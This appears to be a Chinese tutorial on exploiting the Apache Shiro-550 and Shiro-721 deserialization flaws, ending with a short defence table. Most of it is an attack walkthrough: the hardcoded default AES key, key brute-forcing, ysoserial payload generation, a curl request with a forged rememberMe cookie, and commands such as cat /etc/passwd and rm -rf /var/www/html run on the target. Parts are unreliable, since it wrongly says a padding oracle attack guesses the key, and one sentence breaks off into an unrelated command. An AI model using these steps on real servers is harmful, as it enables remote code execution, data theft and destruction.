Apache Shiro 反序列化漏洞全解析（Shiro-550 Shiro-721）

Apache Shiro 是一个强大的 Java 安全框架，广泛用于用户认证、授权、加密和会话管理。然而，由于 Shiro 在某些版本中存在反序列化漏洞，攻击者可以通过特定手法实现远程代码执行（RCE），进而获取服务器控制权。

本文将深入剖析 Shiro-550 和 Shiro-721 漏洞，从原理、发现方法到实际攻击演示，确保读者从认知到实战都能掌握。

Shiro-550 存在于 rememberMe 机制的处理流程：

用户登录后，Shiro 会将用户信息 序列化 -> AES 加密 -> Base64 编码 后存入 rememberMe Cookie。
服务器收到请求时，会 Base64 解码 -> AES 解密 -> 反序列化，恢复用户信息。
问题：Shiro 默认使用的 AES 密钥是硬编码的！
- 攻击者可以通过 爆破密钥，伪造一个恶意的 rememberMe Cookie，执行远程代码。

Shiro-721 主要是由于 AES-128-CBC 加密的 Padding Oracle 攻击：

如果 HTTP 响应中包含：

Set-Cookie: rememberMe=deleteMe

说明目标网站使用了 Shiro，并可能存在漏洞。

攻击者使用 shiro_attack.py 爆破默认密钥：

python shiro_attack.py --target http://example.com --keylist shiro_keys.txt

如果成功，返回密钥：

kPH+bIxk5D2deZiIxcaaaA==

使用 ysoserial 生成恶意 Payload：

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/hacked" | base64 > payload.txt

然后用 AES 密钥加密，并 Base64 编码，得到恶意 rememberMe Cookie。

curl -X GET http://example.com -H "Cookie: rememberMe=<恶意cookie>"

成功后，服务器会执行 touch /tmp/hacked，证明被攻击成功。

攻击者利用 padding_oracle_attack.py 逐步猜测 AES 密钥：

python padding_oracle_attack.py --target http://example.com --cookie "rememberMe=xyz..."

如果服务器返回：

java -jar ysoserial.jar CommonsBeanutils1 "cat /etc/passwd" | base64

然后替换 rememberMe，发送攻击请求，服务器执行命令。

某 CMS 后台使用 Shiro-550，黑客利用默认密钥 kPH+bIxk5D2deZiIxcaaaA==，成功执行：

rm -rf /var/www/html

结果：整个网站首页被删光！

黑客使用 Shiro-721 进行 Padding Oracle 攻击，解密 rememberMe，成功执行：

cat /etc/passwd

结果：服务器所有用户信息被盗取！

防御措施	适用漏洞	说明
升级 Shiro	Shiro-550 / 721	升级到 1.4.2+ 版本，漏洞已修复
修改默认密钥	Shiro-550	避免使用 `kPH+bIxk5D2deZiIxcaaaA==`，随机生成新密钥
禁用不必要的反序列化功能	Shiro-550 / 721	使用 JSON 存储用户信息，而非 Java 序列化
检测 Padding Oracle 攻击	Shiro-721	监控异常 Cookie，请求不同错误返回码